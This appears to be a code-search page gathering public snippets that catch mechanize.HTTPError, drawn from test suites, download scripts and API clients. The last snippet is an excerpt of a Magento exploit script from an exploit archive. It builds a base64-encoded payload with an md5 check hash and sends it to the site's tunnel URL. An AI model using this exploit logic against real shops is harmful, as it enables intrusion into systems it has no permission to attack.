How to use the mechanize.HTTPError function in mechanize

To help you get started, we’ve selected a few mechanize examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github zopefoundation / zope.testbrowser / src / zope / testbrowser / browser.py View on Github external
(control, form) for (control, form) in intermediate if
                    control.type in ('submit', 'submitbutton', 'image')]
                control, form = disambiguate(intermediate, msg, index,
                                             control_form_tuple_repr,
                                             available)
                self.browser._clickSubmit(form, control, coord)
            else: # JavaScript sort of submit
                if index is not None or coord != (1,1):
                    raise ValueError(
                        'May not use index or coord without a control')
                request = self.mech_form._switch_click("request", mechanize.Request)
                self.browser._start_timer()
                try:
                    try:
                        self.browser.mech_browser.open(request)
                    except mechanize.HTTPError, e:
                        if self.browser.raiseHttpErrors:
                            fix_exception_name(e)
                            raise
                    except Exception, e:
                        fix_exception_name(e)
                        raise
                finally:
                    self.browser._stop_timer()
        finally:
            self.browser._changed()
github python-mechanize / mechanize / test / test_response.py View on Github external
name = MyHTTPError.__module__ + '.' + MyHTTPError.__name__
        self.assertTrue(
            repr(r2).startswith(
                '
github python-mechanize / mechanize / test / test_functional.py View on Github external
def test_404(self):
        br = self.make_browser()
        self.assertRaises(
            mechanize.HTTPError,
            br.open, urljoin(self.uri, "/does-not-exist"),
        )
github python-mechanize / mechanize / test / test_urllib2_localnet.py View on Github external
def test_proxy_with_no_password_raises_httperror(self):
        self.assertRaises(mechanize.HTTPError,
                          self.opener.open,
                          self.URL)
github gc3pie / gc3pie / gc3apps / gamess / import-gmtkn24.py View on Github external
% (str.join(' + ', 
                                   [ ("%d*%s" % (qty, sy)) for sy,qty in r.items() ]), 
                          d))

        elif 'doctest' == args[0]:
            import doctest
            doctest.testmod(name="gmtkn24",
                            optionflags=doctest.NORMALIZE_WHITESPACE)

        else:
            logger.critical("Unknown ACTION word '%s'."
                            " Type '%s --help' to get usage help."
                            % (args[0], PROG))
        sys.exit(1)

    except HTTPError, x:
        logger.critical("HTTP error %d requesting page: %s" % (x.code, x.msg))
        sys.exit(1)
github gc3pie / gc3pie / gmtkn24 / gmtkn24.py View on Github external
ls = Gmtkn24().list()
            for name, url in ls.items():
                print ("  %s --> %s" % (name, url))
            
        elif 'doctest' == args[0]:
            import doctest
            doctest.testmod(name="gmtkn24",
                            optionflags=doctest.NORMALIZE_WHITESPACE)

        else:
            logger.critical("Unknown ACTION word '%s'."
                            " Type '%s --help' to get usage help."
                            % (args[0], PROG))
        sys.exit(1)

    except HTTPError, x:
        logger.critical("HTTP error %d requesting page: %s" % (x.code, x.msg))
        sys.exit(1)
github nonsleepr / edu_10gen_dl / edx_dl.py View on Github external
def login(self):
        try:
            login_resp = self._br.open(base_url + login_url, urlencode({'email':self._config.EMAIL, 'password':self._config.PASSWORD}))
            login_state = json.loads(login_resp.read())
            self._logged_in = login_state.get('success')
            if not self._logged_in:
                print login_state.get('value')
            return self._logged_in
        except mechanize.HTTPError, e:
            sys.exit('Can\'t sign in')
github Pitmairen / bryton-gps-linux / code / strava.py View on Github external
def _open_url(browser, url):

    try:
        browser.open(url)
    except mechanize.HTTPError as e:
        raise StravaError(str(e))
github nicolas-carolo / hsploit / searcher / vulnerabilities / exploits / php / webapps / 37811.py View on Github external
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()